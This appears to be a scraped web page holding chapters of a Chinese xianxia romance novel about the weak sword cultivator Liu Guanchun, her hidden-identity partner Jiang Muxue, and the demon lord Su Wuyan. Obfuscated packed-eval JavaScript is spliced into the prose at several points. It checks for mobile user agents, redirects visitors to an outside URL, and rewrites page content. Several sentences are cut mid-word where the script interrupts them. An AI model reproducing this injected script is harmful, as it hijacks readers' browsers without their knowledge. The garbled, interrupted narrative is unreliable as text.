但柳观春却仍要上前,忍着疼痛,对她说:“还请这位师妹看清楚,与你道侣私通之人,并不是我。” 柳观春的冤屈洗刷,她竭力咬住牙关,忍住心上漫出来的委屈以及酸涩。 柳观春是想哭的,不止是被人冤枉,会鼻尖酸涩,就连沉冤昭雪,她也感到委屈。 但她努力忍住令人感到羞耻的哭腔,她要尽量把话说得很清晰,她不要任何人的同情,她要所有人都听清楚。 “我从来没有勾引任何人,我也没有蓄意破坏任何人的道侣婚契!我是根骨不佳,我是不合适修炼,但我行得正坐得端,我没有做过坏事!” “你们可以看不起我,但早晚有一日……早晚有一日,我也会爬上去,我会成为比你们都厉害的剑君!” 总有一日,她不会被人看不起。 总有一日,她会离开这个鬼地方。 柳观春说完这一番大言不惭的话。 在座的弟子本该发笑,但有江暮雪坐镇,没人敢欺负柳观春。 柳观春呼出一口气,她没有故意去等紫衣小师妹的道歉,她也不稀罕。 柳观春收回竹骨剑,她双手弯曲,朝脑后摸索,她找到了那一根散落的发带,将它再次用力系好。 垂下的红丝带柔软、窄细,风儿似的抚上江暮雪的玉指。 他偏头看一眼,窥见柳观春成堆叠在肩膀的宽大衣袖,她的手臂雪白,纤细如荷茎,点着一颗火烧似的红痣。 江暮雪挪开目光,望向别处。 柳观春捡起散落一旁的点心盒子,还有那两颗张厨娘送的枇杷果。随即,她转身,跟在江暮雪的身后,随他进山。 也不知是江暮雪刻意为之,还是他今日真有散步的闲情逸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“宗门里很少蒸栗子糕,师兄、师姐们吃过,都觉得不错,我也想给江师兄尝尝。虽然这点小恩小惠,不足以报答江师兄惠及我的万分之一,但好歹也是观春的一番心意。” 见江暮雪迟迟不说话,柳观春后知后觉反应过来,“枇杷果我擦干净了,而且没掉到灰里,都是落在雪地上。糕点也是,没有打翻,里面的碗碟我还蒙了布,不脏的。” 她紧张地解释,动作笨拙,伸出去的手停了停,又想缩回来。 没等她收手,半道上,食盒被几根长指截胡。 “多谢。” 江暮雪接过她的点心和枇杷果,又用剑气小心护住糕点外溢的热气,将一堆女孩爱吃的小玩意儿拎回了绝情崖。 - 三日后,太阴殿内,长老开始登记组队下山的队员。 今日玄剑宗的弟子们都来了,就连柳观春也在旁。 柳观春之所以来此地,并非她找到了一同下山的队友,而是想趁机捡漏……万一也有弟子被人爽约,无人与他组队呢?那她就能上前询问,要不要一道儿结伴下山,也好解人燃眉之急了。 殿内,段师姐陪在唐婉身边,眼风扫过柳观春。可她今日很是老实,只是嘴角轻扬,嗤笑一声,没敢开口讥讽。 毕竟上次弟子院的事闹得太大,拜柳观春所赐,就连段师姐也挨了鞭刑。直到今日,段师姐的鞭伤还隐隐作痛,她暂时没胆子当着长老、内门大师兄江暮雪的面,欺辱柳观春。 柳观春站在旁边看着一队队弟子登记。 从早晨一直到傍晚,她都没等到落单的弟子。 想来今日也是无功而返了。 殿内的弟子所剩无多,柳观春孤零零地站在阴影处。 柳观春手中紧握竹骨剑,她要使劲儿捏住剑身,方能压下心底的落寞。 她莫名想起那一日,唐婉高高在上坐着,质问她哪来的胆子,竟敢辱没内门大师兄江暮雪…… 就在这时,主掌玄剑宗庶务的蔡长老传音而来,问她:“这位小友,你也是来登记降魔比试的弟子?” 柳观春抬头,一双杏眼清亮。她还是不想错过这个机会,只能死马当活马医,应了一句:“是,我叫柳观春。” 她本想着用嘴皮子磨一磨蔡长老,看看能否独自下山降魔。 可一道清越的剑吟响起。 一只华光灿灿的白色蝴蝶,自殿外缓缓飞来,栖在柳观春的肩膀上。 柳观春诧异,伸手碰了一下蝴蝶。 蝴蝶原本生机勃勃,可就在那一抹蜻蜓点水的触碰下,它突然从躯壳里挣脱出来。蝴蝶蜕皮,成了死物,反倒是一串墨字在空中爬行,刁钻地涌进蔡长老的登记册子里。 蔡长老看了一眼册子上的名字,略带惊奇:“咦,你这位队友倒是有点意思。” “有人和我组队了?”柳观春没想到,到了登记的最后关头,竟也有人邀她下山了。 蔡长老笑眯眯地道:“正是。” 柳观春喜出望外,有点语无伦次:“是谁?” 蔡长老合上册子:“天机不可泄露,过两天下山,小友自会见到他。” 柳观春没有再追问。 细细一想那只白色蝴蝶的样子,蝶翼上的纹理,分明和白衣师兄的衣袍有些相似。 柳观春心下了然,定是白衣师兄将她拉进队伍了! 太阴殿内,段师姐看到这一幕,不免震惊,竟真的有人愿意和柳观春组队……还真是饥不择食,也不怕她拖后腿。 段师姐猜测另一名队员定也是修为低微,所以才会硬凑进柳观春的队伍。 唯有唐婉樱唇紧抿,脸色苍白。 别人识不得,可她却知那只白色蝴蝶的来历。 蝶翼灵动,翅挟雪光,灵气的气息冰寒。 这分明是江暮雪拟出的纸蝶…… 江暮雪竟会给柳观春救场。 凭什么,又为什么? 唐婉不得不承认一个事实—— 大师兄不再是大道无情的剑君,他心中的秤杆不平,秤砣倾向了柳观春。 江暮雪,因柳观春之故,罕见的生出了私心。 13.下山(三) 第十三章 柳观春走出太阴殿,高兴到忍不住蹦跳两下。 明明今天没有穿兔毛棉鞋,可她的脚底板还是觉得软绵绵的,好似踩在蓬松的云上。 这是柳观春第一次开怀大笑,她怕被人瞧出来,又抬手捂住嘴巴,挡住隐隐上翘的唇角。 不能太过嘚瑟,以免有什么意外。 柳观春一回到寝院就想开启比武卷轴。 每次她在三十七号比试场等待,白衣师兄都会默契地来找她,今日一定也不例外。 但其实,柳观春并不是很确定自己的队友就是白衣师兄,万一认错人,岂不是双方都闹得尴尬? 再说了,她也并不想用什么故意用组到队友的事,去刺激白衣师兄,万一让白衣师兄知道她有了很多伙伴,说不定白衣师兄往后就不会再来比武场指点她了…… 柳观春的朋友很少,她很珍惜,一个都不想失去。 思及至此,柳观春又默默收起卷轴,独自来到空旷的后山。 玄剑宗建在秀水明山之巅,山中松涛汹涌,钟灵毓秀。 此地灵气充沛,野果野菜都生得极好,特别是修士们修过辟谷之术,嫌弃吃食里会有浊气,没人会去采摘那些苹果、鸭梨、冬枣。 树上积累一大串沉甸甸的山果子,倒正好便宜了柳观春。 柳观春想到,两日后,全宗门的弟子都会下山降魔,这是她第一次出行,不知道要准备什么……远行嘛,总归和春游有点像,带吃的喝的,还有日常用品,肯定没错。 柳观春打算带上一点食物,不拘多少,有备无患。万一拉她组队的队友,还带了其他朋友过来,柳观春可以把吃食分给他们共享。 于是,柳观春取出灵墨研磨的汁水,又写了几十张火符。 一些低阶的精怪畏火,她可以把大部分的火符留作驱邪用;另外几张,柳观春端出一个烧火的炉子,她捏诀燃起火符,用这些符箓烘烤青枣。 青枣烘干了以后,可以切成干枣圈,届时用来蒸糕,更加事半功倍。 除此之外,柳观春还猎了一头没开智的野猪。 她剔下猪腿肉,用火符晒干,还抹上许多妖域里的酸辣蘑菇,用以调味。 既是降魔,总有风餐露宿的时候,柳观春烘些肉干备着,也能解她燃眉之急。 即便同行的队友不吃这些凡食,那柳观春也能用来拉拢那些乡镇里的凡人。 柳观春知道这些灵修不大看得上凡人,指不定挨家挨户打听魔物的事就落到她头上了。还好柳观春人情娴熟,很容易和人打成一片。 柳观春回头,看了一眼自己铺满院落的干货,心潮澎湃。 这是她打下来的江山,她也是能做出贡献的人,并不是白白指望队友带她降魔。 食物还在炉子里烘着,柳观春百无聊赖,又召出了那一把竹骨剑。 本命剑在少女的手中化形,转瞬挟来风激电骇的雪雾。 柳观春将注意力集中在手中长剑,她口中默念白衣师兄教她的剑诀,凝神挥剑。 柳观春长年练剑,如今一劈一砍,都极具浩然威势。 她凌空翻起,腕骨一拧,将手中的剑气迅速击出。那一重剑光白雾似有所感,顺着她的锋刃荡开,犁平一片潇潇仙竹。 风声大作,草木摧折。 不过眨眼间,那片青翠竹林又恢复如初。 仙宗里的一草一木都颇具灵性,并不会轻易被剑势削断,至多伏低一瞬,很快又能直起身子。 柳观春盯着手中的竹骨剑,一时无言。 好奇怪啊,她明明可以自如地运用竹骨剑。 为何上次,当她要和紫璃宗的女修对打,柳观春却无法随心所欲地运剑御敌? 唯一不同的是,那时候柳观春怒火强盛,展开了飘雪的灵域,明明修士的灵域能够加剧剑势,可她却受其束缚,不能施展手脚。 柳观春回想那一刻的感觉。 就好像……有一股更为强大的冰霜灵力要涌进她的身体,一抹高大的影子笼罩住她,触感胜雪冰冷。 黑影颀长,看样子像是个男人,他缠住柳观春的手腕,一挥一挑,很是耐心地教她用剑御敌。 柳观春能感受到黑影并非活物,不过灵力驱动的幻影,但它也没做伤害柳观春的事,让人摸不着头脑。 柳观春不知黑影是什么,为了查明真相,她特地上藏书阁翻阅古籍。 可找了许久,她也没听说哪个修士的灵域里还能藏着精怪魑魅,抑或是人形傀儡…… 唯有一种情况,那就是修士结婴的时候,灵域里会创造出似神似佛的上古法相,这些佛陀神仙蕴含天地灵气,能够协助那些元婴期的大能发挥出更强的实力。 然而,柳观春离元婴期还远着呢,再给她三百年都不一定能升至元婴。 既然不是法相,那就只可能是心魔了。 柳观春恍惚,难道是她修错心法,养出了心魔。 柳观春长叹一口气,看来真如江暮雪所说,她的确不是修仙的好料子。 不过不管怎么说,她都是要潜心修炼的,反正妖道、鬼道都能修行飞升,她多添一个心魔又有什么关系? 先养着吧。 就是不知道,心魔吃饭吗?她一直不管它,应该不至于饿死吧? 柳观春胡思乱想。 她熄了火,又取出厚厚的手套,把滚沸的肉干、枣干,一点点装进油纸包,再取麻绳一个个系好,抛进她的储物珠里。 这时,一只体态轻盈的白色纸鹤突然晃晃荡荡,从远山飞来。 纸鹤看到满院子的吃食,歪头不解,它抖动僵硬的翅膀,犹豫着在哪里落脚。 最后,那只灵力幻化的纸鹤,轻飘飘落到柳观春的头顶。 柳观春正在埋头干活,脑袋忽然被一大团雪球冻住了…… 她打了个哆嗦,抓下纸鹤。 纸鹤被少女的手指一碰,很快摊开,变成一张白纸。纸上有清丽的墨字:后日辰时,老君洞晤面。 没有任何落款,可白纸的纹样和那日的蝴蝶相似。 柳观春猜是队员发给她的。 柳观春举起纸张观察半天,还是没能猜出他的身份。 眼见着白纸又要皱巴皱巴变回纸鹤,飞回主人的身边,柳观春急忙捏住它。 “再等一下,你帮我捎一封信!” 柳观春默念口诀,幻化出另外一只粉嘟嘟的纸鹤。 她取红线,强行把自己的纸鹤绑在白鹤的翅膀上,逼迫白鹤拖着这只灵力低微的粉鹤,去见它的主人。 白鹤受累,无语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江暮雪设下的剑茧还在,护着栗子糕的腾腾热气,没让甜糕变凉。 江暮雪的确鲜少吃凡食,之前拒绝唐婉的那碗荔枝甜汤,也并非有意甩她脸色。 自从江暮雪少时曾被养育他的傅姆投毒后,他再看到那些精致的吃食,就没有了入口的兴致。 那一次,是江暮雪养了多年的长毛猫,替他尝了毒糕。 唯一愿意陪伴在他左右的家宠,就这样,神情狰狞地死在自己怀里。 江暮雪便知,这世上,能留住的东西极少。 江暮雪好似一尊冰塑的泥像,只知道端坐高台,冷眼旁观。他眼睁睁狸奴四肢抽搐,身体渐渐变冷,他什么都没有做。 明明江暮雪不想和任何人牵扯,他又为什么收下了柳观春的甜糕? 许是看她局促不安,许是看她绞尽脑汁寻话,许是看她总是孤立无援、身陷险境…… 无非是怜悯、心软、同情,诸样司空见惯的情绪。 只是一个修无情道的剑君,却不该心存挂碍。 江暮雪指骨微动。 于他而言,如此待人,其实已算破例。 14.下山(四) 第十四章 老君洞位于妖域与人间的交界处,也是入世的通道。 昨日就有不少弟子收拾好包袱下山,柳观春算是比较迟的那一批。 纸鹤上说好了是辰时见面,但柳观春一整晚都没怎么睡着。 她在榻上烙饼似的翻来覆去,最终也只勉强闭了两个时辰的眼睛。 天刚蒙蒙亮,她就在心里一句句说服自己起床:“挑衣衫也需要很长时间,还得梳头发……况且我的辟谷之术不算纯熟,行路太久还是会有饿感,早点起床把昨天买来的那碗鲜羊奶煮沸喝了,剩下一碗敲一块高碎茶砖进去,还能削点肉干泡着,正好尝尝咸奶茶的滋味。” 想到还有那么多事情要做,柳观春一个鲤鱼打挺翻起身。 她拉开衣橱,目光在寻常凡人的袄裙与雪色弟子服里转了半天,最终定下一身芦苇绿的素衫。 柳观春翻动妆匣,又从一堆绒花发饰里取了两条松霜绿的丝绦,一圈圈绕在软软垂下的双环髻上。 柳观春照了照镜子,觉得太素净了些,犹豫半天,还是添上两朵极小的粉色荷绒。 小巧的粉荷别在乌髻旁边,风一吹,莲瓣颤颤,极为灵动可爱。 柳观春看着镜子里的自己,仔细打量。有仙宗的灵气滋养,即便柳观春不涂抹护肤的雪花膏,她的肌肤也莹白胜雪。朱唇不点而红,黛眉不染而青,虽不施粉黛,却也还算清爽明丽。 柳观春是胎穿进这个世界的,虽然从她记事开始,她就没有见过生养自己的母亲,但至少柳观春的眉眼身段还是上辈子熟悉的样子。 柳观春的长相称不上倾国倾城的艳容,至多是小家碧玉,但绝对不讨嫌。 这点自信,她还是有的。 柳观春出了一会儿神,捧着圆润的脸颊,无端端想起江暮雪……从前她就想说,江师兄容貌惊艳,眉峰不硬,略带些阴柔,便是扮作女装,也应该没人能认出来,只当他是一个长相艳丽、身姿高挑的女修。 柳观春收拾完所有出行的用物,距离辰时还差半个时辰。 她想了想又折回屋里。 再擦一遍桌子吧。 - 辰时,老君洞。 秋末初冬,山中红枫满树,青松如林,没一会儿飘起绵绵雪絮。 柳观春如今是修士之体,其实早已不像从前那样怕冷了,可她看到落雪,还是下意识会从储物珠里搜刮出一件兔毛围脖,裹在颈子上。 绒绒的白毛遮住柳观春半张脸,显得那一双黑葡萄似的眼睛更亮更大了。 她环顾左右,等了半天。 终于在松柏亭亭如盖的山径见,看到一抹御剑行来的白影。 来人身量颀长高大,剑势凶悍,人还未行至面前,剑吟涛声已远远传来。 被他的威压所摄,四面八方的青翠草木都伏低一寸,连柳观春也下意识后退一步。 很快,白衣修士收起本命剑,走向柳观春。 隔着一重雾霭迷离的雪意,柳观春终于看清了他的眉眼。 是一位剑修。 穿一身白衫素袍,玉带束住男人劲瘦的窄腰,白衣被风吹得猎猎,勾勒出紧绷结实的长腿。他身后的发尾黑浓细长,环绕的剑气掠起那些锋利的发丝,虚虚悬在半空,远观好似纤薄的松针。 这位师兄生得倒是神清骨秀,仙姿玉貌,只是举手投足间,剑气威压如影随形,瞧着极不好亲近。 柳观春又抬眸看一眼,师兄的眉心缀有一颗守元印,猩红的一点,如火如荼,红芒灼灼。 柳观春心中顿悟。 他是主修无情道的剑君,素来断情绝爱,难怪气质疏冷。 柳观春对修士毕恭毕敬行礼:“师兄是与我组队的队友吗?” “嗯。”男人轻应一声,没说旁的话。 不过并指一挥,一张图纸浮现于人前。 他取出此次降魔任务的地图,在魔气最为浓重的马兰镇画上一个圈,冷道:“你我前往此处伏魔。” 你我? 柳观春从师兄的话里听出来,这一支队伍,就他们两个人吗? 也就是说,师兄并非是队伍缺人才大发慈悲加她入队,他本来就想和她组队? 柳观春第一次尝到被人偏袒的滋味,她难掩激动,又疑心是梦,等了好一会儿,才斟酌言辞,小声询问:“您是白衣师兄吗?” “白衣师兄?”江暮雪第一次听到这个小称,不由拧起眉峰。 可他看着柳观春殷切望来的杏眼,亮晶晶的,好似刚刚吃了饴糖,他还是压下所有的困惑,没有辩驳。 江暮雪垂眼,细细想了一番。兴许柳观春在问他,他是不是三十七号比武场的那个陪练师兄? 果然,柳观春连忙解释:“就是、就是我有一个每天陪我操练的师兄,我同他交情不错,夜里有空,我就会去三十七号比武场等他指点。” 柳观春的话实在有点密,江暮雪听了半天,又听懂一句——原来她每天晚上那么勤奋来比武场练剑,目的都是为了等他。 柳观春还在战战兢兢:“我没什么交好的同门,看到有人拉我进队伍,下意识就以为是白衣师兄……” 江暮雪敛目,低语一句:“是我。” 柳观春瞪大眼睛:“真是您啊!” 江暮雪嗯了声。 得知眼前的男人就是白衣师兄,柳观春心里很高兴,甚至有种交到朋友的错觉。 至少他们在现实中相遇,两人之间的接触不再是虚无的法阵。 柳观春好像渐渐踩上实地。 她能跟在白衣师兄的身后,离他那么近,近到她一伸手就能拽住他的衣袖,而不是被法阵的禁制阻止,就连她想碰到他的剑鞘,都要用上十成的力道。 柳观春能和他并肩作战一同御敌,能和白衣师兄随时随地交流剑诀,比武切磋……虽然柳观春还很弱,但她会努力变强,她不会成为师兄的累赘。 就连白衣师兄主修无情道这一点,柳观春都觉得很好。 那就代表白衣师兄断情绝爱,心性冷漠,他永远不会结交道侣,柳观春能和他长长久久地相处,一直维持这种互帮互助的师兄妹关系…… 即便往后回到宗门,她为了不牵连白衣师兄,两人要装作素未谋面的陌生人,只在训练场中见面,柳观春也毫不介意。 白衣师兄会成为她在这个异世新的护身符,靠着这一点点希望,柳观春就有信心,再多活一段时间,再努力撑下去。 柳观春满脑子对于未来生活的冀望,渐渐忘记和江暮雪说话。 女孩的嘴巴原本一刻不得闲,叽叽喳喳好似山雀,可她一直唱独角戏,应该是累了,很快闭上嘴。 幽深山径忽然静谧如常,江暮雪淡淡扫去一眼。 男人不过眼睫轻抬,柳观春却在回眸的一瞬间,精准捕捉到了他的视线。 江暮雪神色淡淡,面无表情,可柳观春丝毫不觉冷落,甚至还对他扬起唇角,露出一个灿烂的笑颜。 柳观春:“师兄怎么称呼?” 江暮雪止住脚步,没有说话。 他看了一眼执剑的手。 今日来见柳观春,特地拟了外貌。眉弓收窄一点,薄唇轮廓稍柔,只眉心的守元痣与那一双墨眸换不了,但几个小动作,也足以更改他的容貌,不教人看出真身。 就连伏雪剑也难逃改造。 虽说灵剑闹脾气,不愿被改得黯淡无光,但它畏惧主人威压,还是同意变宽变重,少凝一点霜雪。 江暮雪答应和柳观春组队,无非是想圆上自己怜悯他人的念头,给这段微弱细小的缘分,做一个了结。 他帮她最后一次,送她最后一程,此后,江暮雪会人间蒸发,他不再现身训练场,不再指点她,亦不会与她相见。 “师兄?”柳观春还在问他。 她拦在他的面前,虽然脸上带笑,动作也并不强硬,只要江暮雪轻轻抖动衣袖,就能不费吹灰之力推开她。 但他没有这样做。 江暮雪居高临下,再次看她。 柳观春仍抬头,等待他出声。 江暮雪不明白……他的名字,很重要吗? 为什么柳观春非要和他牵扯到一起。 不知为何,江暮雪忽然想到一幕——柳观春被妖蛟所伤,挂在他的臂骨,奄奄一息。她瘦骨嶙峋,实在是轻,好似他不抓紧她,她就要飞上九重天去。 沐在血中的柳观春,睁大一双杏眼,仰头凝望江暮雪。 她明明在看他,可眼神却放空,眼中交织无涯的绝望,她流了很多泪,却并不会哭。 柳观春滚动喉头,执着地呢喃“我想回家”,她看着江暮雪,等他开口,给她一个答案。 在那一刻,江暮雪意识到,柳观春其实不怕死。 双方僵持着,剑拔弩张。 江暮雪第一次生出怜悯,他答应她,会带她回家。 可柳观春听完,眼中的绝望却没有消除,反倒是释然地闭上眼。 江暮雪不明白,她究竟想听到什么样的答案? 而如今,柳观春站在他面前,固执地追问,和从前一个样。 只是那时的少女在哭,眼下她在笑。 江暮雪薄唇轻抿,叹息一声:“江玠。” 他说了自己在人间的名字。 彼时的江暮雪,还没有开始修无情剑。 柳观春惊喜地追问:“是姜汤的姜,还是江河的江?” 江暮雪:“水字江。” 柳观春明白了,她的樱唇微动,默念两遍他的名字。 江玠和江暮雪,都是江姓,且都是无情道剑君,可柳观春不疑有他,只当是一个无伤大雅的巧合。 “江师兄!”她大喊一声,笑得更灿烂了。 柳观春知道白衣师兄的名字,从此他们有了牵扯,再不会轻易分开了。 可她不知的是,江暮雪早早把这个凡尘的名字舍下。 江暮雪无挂无碍,衣不染尘,道心亦坚毅。 待伏魔回宗那一日,便是他与柳观春一刀两断之时。 江暮雪会丢下柳观春。 就如他当初毫无留恋地舍弃这个名字一样。 - 地底深处。 四方土地化身山精,被一只法力强大的魔物拘着,连夜刨出一座巍峨的地宫。 待这些地仙干完活,王座上的苏无言又懒洋洋地打了个哈欠,一人赏赐一颗肥美的大板栗,冲他们摆摆手。 “拿了报酬就快滚吧,免得撞上我心情不好,拿你们当麻雀加餐。” 几名土地面面相觑,他们看出苏无言的真身是一只黑猫,不敢造次。 猫妖性子一贯野性难驯,特别是苏无言修行千年,道行高深,若他真想吃几个地仙,那还的确动动小指头就能完成的事。 土地们没有二话,各个捧着栗子遁地走了。 苏无言打了个哈欠,一双漂亮的桃花眼含泪,水波潋滟。 他嫌弃王座的位置太窄,坐姿不舒服,一面百无聊赖地点开留影鸦返回的人间录像,一面心想:日后一定要搞一张大床睡,再在床上铺陈厚厚实实的棉花被子,最好是新织的那种,到时候,他睡一整张床,小丫头睡一个床脚,一定会很舒服。 苏无言不记得自己是怎么穿进这个异世的。 他只记得一些从前的事。 从前,他变成一只普通的猫,在每一座荒庙道观里吸食香火,吃吃山精野怪。 忽然有一天,来了一个脏乱不堪的小道士。 小道士把荒芜的道观整理得焕然一新,还对外声称,这是一座有老道君羽化升仙的神仙观。 这样的噱头散布出去,还真有了几位香客。 苏无言吃了老道士送来的烧鸡烧鹅,投桃报李,他也会帮忙做点手脚,让香火更鼎盛些,毕竟这些烧鸡的口感太柴了,他还是喜欢油水多一点的。 于是,苏无言成日蜷成猫饼,趴在香客的蒲团上,偶尔用术法动点小东西。 譬如把拜神用的筊杯翻成一阴一阳;譬如见到穷凶极恶的人前来祈求道君庇佑时,嗷呜一口咬断香火,让正神听不到他的祈愿。 只是,人间的日子总是无聊至极。 一贫如洗的小道士,慢慢变成了一贫如洗的老道士。 老道士快要死了,身上都散发出死人的腐臭味。 苏无言盯着他笑,问他:“要不要我教你怎么吞食山精,延年益寿?” 人若是吃妖,那就是让魂魄沾上秽气,会沦为邪修妖道,再不能进入轮回。 老道士还有一点修行之心,他拒绝了。 不但拒绝了,还把苏无言送给那个常来白马观游玩的小丫头。 小丫头虽然身上总是带着香火气,但她一身穷酸气,苏无言跟着她,恐怕会吃大苦头。 果然,苏无言一周最多能吃几只虾、一个鸡腿、半根腊肉,夜里小丫头还舍不得开暖气,害得他险些染上风寒。 再后来,他穿进这个能够修仙的异世。 苏无言厌倦以人身飘荡,变成人又不能蜷成一个蚊香盘躺下来睡觉,他又开始怀念和小丫头窝在狭窄的小屋里的时光。 小丫头白日要外出狩猎觅食,只有周末才会待在家里陪他。 她总是没大没小,喜欢把他抓在腿上,逼他去听那些高丽人说话。 小丫头看电视太入迷的时候,总会一边抓着他的毛,一边掉眼泪。 她和他抱怨电视剧里的悲情故事,那个地狱来的恶魔,和女总裁谈恋爱,却又不能和她长相厮守,真的好可怜。 但苏无言想的却是,这不是照着牛郎织女的故事脉络抄的么?有什么好可怜的?再说了,人妖殊途,物种都不同,自然不能在一起。 不过小丫头点的炸鸡还是很好吃的。 苏无言惊奇地发现,他居然也会开始想念小丫头了。 可是,为什么他绞尽脑汁也不记得小丫头长什么样了? 记忆里,他就连小丫头的声音都忘记了,他甚至不记得小丫头平时喊他什么名字了…… 总不会也叫苏无言吧? 他又没在小丫头面前开过口,毕竟一只黑猫开口说人话,肯定会被弃养的。 直到后来,苏无言穿进异世。 他毕竟是修行过上千年的猫妖,在这个异世里吸食吸食魔气,竟也能成一方霸主。 苏无言成日吃了睡,睡了吃,如果有手下喽啰被人欺负了,他就出面帮人打回来,免得丢猫老大的脸。 直到有一天,一个长相清丽的小姑娘找到他的魔宫。 她名叫小枣,她给他送花、送衣物、送吃食,每次来就来,还要多带一个会说话的小妖精。 苏无言能听到她们的谈话。 小枣喊它为“系统”,她们成日讨论怎么攻略大反派苏无言,阻止他为祸一方。 苏无言后知后觉反应过来……哦,攻略他啊。 苏无言懒得搭理小枣,但她的言行举止,偶尔说出的话,都有小丫头的影子,苏无言又舍不得杀掉这个乐子了。 直到某天,小枣攻略进度缓慢,她想家想到要崩溃了,她忽然喊出一句:“唉,这个世界怎么连炸鸡和可乐都没有?就算魔尊苏无言帅得堪比韩剧男主,我也不敢攻略他啊……他分明是想杀了我!” 炸鸡?可乐? 苏无言从记忆里搜刮出这两个小丫头说过的词,他忽然想到一种可能……既然他都能穿进这个世界,那小丫头为什么不可以? 这个奇怪的小枣,难道就是小丫头吗? 苏无言开始试探她,问她有没有养过猫?爱不爱吃煲仔饭? 小枣迟疑了一会儿,还是点点头。 苏无言问:“你的猫叫什么名字?” 苏无言其实就是随便问问,毕竟他自己都忘记老道士取的名字了,反正不可能叫“无言”。 小枣犹豫片刻,战战兢兢地问:“咪咪?” 苏无言笑意弱化:“绝对……不可能。” 小枣委屈。 她确实只养过一只名叫“咪咪”的长毛布偶猫啊……况且,炸鸡可乐在偶像剧里多出名啊!随便看几部就知道了! 小枣老实闭嘴,缩成鹌鹑,她生怕苏无言生气了。 可苏无言只是语塞一阵,没说什么。 算了,毕竟他穿进异世还能忘记小丫头的长相,小丫头忘记他的名字又有什么特别的? 不过这一次,苏无言记住了,小丫头的名字叫小枣。 小枣失而复得,这是一件大喜事。 苏无言允许小枣住在他的寝宫里。 只是奇怪的是,小枣总想赶任务的进度,逼着他拜堂成亲……这种痴心妄想,当然会被苏无言拒绝。 蠢货,有病么?生.殖隔离不懂? 再后来,小枣忽然和系统说,她把苏无言的好感度刷满了,苏无言好久没有出去祸国殃民了,她的救世任务完成了,她终于能回到现实世界了。 系统连声说恭喜。 苏无言这时才知道,虚无空间一共有三千世界。 每个世界都有独属的天道,天道主掌世间万物的规则。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177962|164856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 天道无情、无欲、无私,如此才能公正地维持一个小世界的兴衰。 每当一个小世界濒临灭亡之时,天道为了拯救即将毁灭的世界,就会召出带有救世气运的穿越者,送去救世。 这些穿越者,也就是小说里俗称的主角。 系统会帮助这些主角完成任务,从而阻止魔王暴动,或是防止圣子入魇,如此干预,拨乱反正,就让崩坏的世界重回正轨。 而小枣就是其中一个女主角。 她救赎大反派魔尊苏无言的任务完成,终于有机会回家。 小枣走了,唯独把苏无言留下了。 苏无言很不高兴,他离不开这个异世,那就重新把小丫头找回来回来陪他。 因此,苏无言复苏后,他再度搅乱天地,触怒天道,使得这个异世灵气变得稀薄,飞升变得困难,世界濒临坍塌。 为了维持一个小世界的运转,天道又召来气运之子入世,试图驯服苏无言。 可无论哪个主角降世,只要苏无言发现他们不是小枣,他就会利用琉璃鼎创造出来的灭魄阵,将人丢进阵中,任其灰飞烟灭。 只要穿越者完全消亡,天道又会源源不断,送来新的异世人,试图改变这个小世界的衰败气运……苏无言无所畏惧,他持刀一路杀过去,直到他寻到小枣的那一日。 当苏无言杀了上一个穿越女的时候,他无意间看到女主变灰的任务面板。 苏无言得知,穿越女的任务就是成为无情道剑尊江暮雪的师妹,再攻略这位绝世天才,与江暮雪联手,一起歼灭魔尊苏无言。 这是招安不成,反出杀招? 的确是的,天道快要受不了苏无言这个疯子了,要不是天道没有直接降下天雷轰死苏无言的权力,它早就想让苏无言从这个世界消失了。 苏无言没有手软,他再度杀人,连同穿越者的魂魄也一并歼灭,连渣渣都不留,如此一来,天道便没有复生这些穿越者的办法。 至于他们是回到了现实世界,还是任务失败被天道抹杀,那就不是苏无言该考虑的事情了。 不过,就在苏无言杀了这个穿越者后,他用来制作灭魄阵的琉璃鼎忽然不翼而飞……藏宝这种事,倒是天道能做的。 苏无言完全不在意。 反正他先找下一个降世的主角,灭魄一事可以慢慢来。 苏无言记得江暮雪的名字,可彼时的江暮雪,还没修成天下第一剑,他在苏无言眼里,不过是一只很好斩杀的蝼蚁……或许江暮雪剑骨不凡,又天赋异禀,但苏无言并不怕他。 苏无言记得天道的任务,他要找的,是这位无情道剑君的师妹。 苏无言等待多年,他终于盯上了那个与江暮雪青梅竹马一起长大的唐婉,他将唐婉诱骗进魔巢,试图看看她是不是小枣。 不过这一次,苏无言完全找错了,他发现唐婉是这个世界土生土长的灵修,她并不是天道召入异世的穿越者。 好无聊,苏无言又想杀她了。 只是唐婉的师兄江暮雪有点难缠,倘若他把江暮雪杀了,苏无言还怎么找小丫头? 思及至此,苏无言决定放回唐婉,静观其变。 而唐婉也是个乖孩子,她竟真的给他带消息了,她告诉他,江暮雪还有一个师妹。 一个叫柳观春的无能剑修。 …… 王座上的苏无言睁开一双剔透的猫瞳,他轻轻笑了一声,两颗虎牙尖尖,杀气凛冽。 即便面露凶相,还是没能掩盖少年昳丽无双的面容。 苏无言的手指轻轻挠了一下王座的木扶手,留下三道爪痕。 苏无言想,正逢那些小道士们下山降魔,每个魔气笼罩的小镇,他都布下了眼线。 只待柳观春入内,他就能将她生擒进魔宫。 若她不是小枣……他会毫不犹豫地杀了她。 - 马兰镇。 魔气缭绕,街巷空无一人,四处飘着白色的纸钱、烧到一半的冥器、纸人。 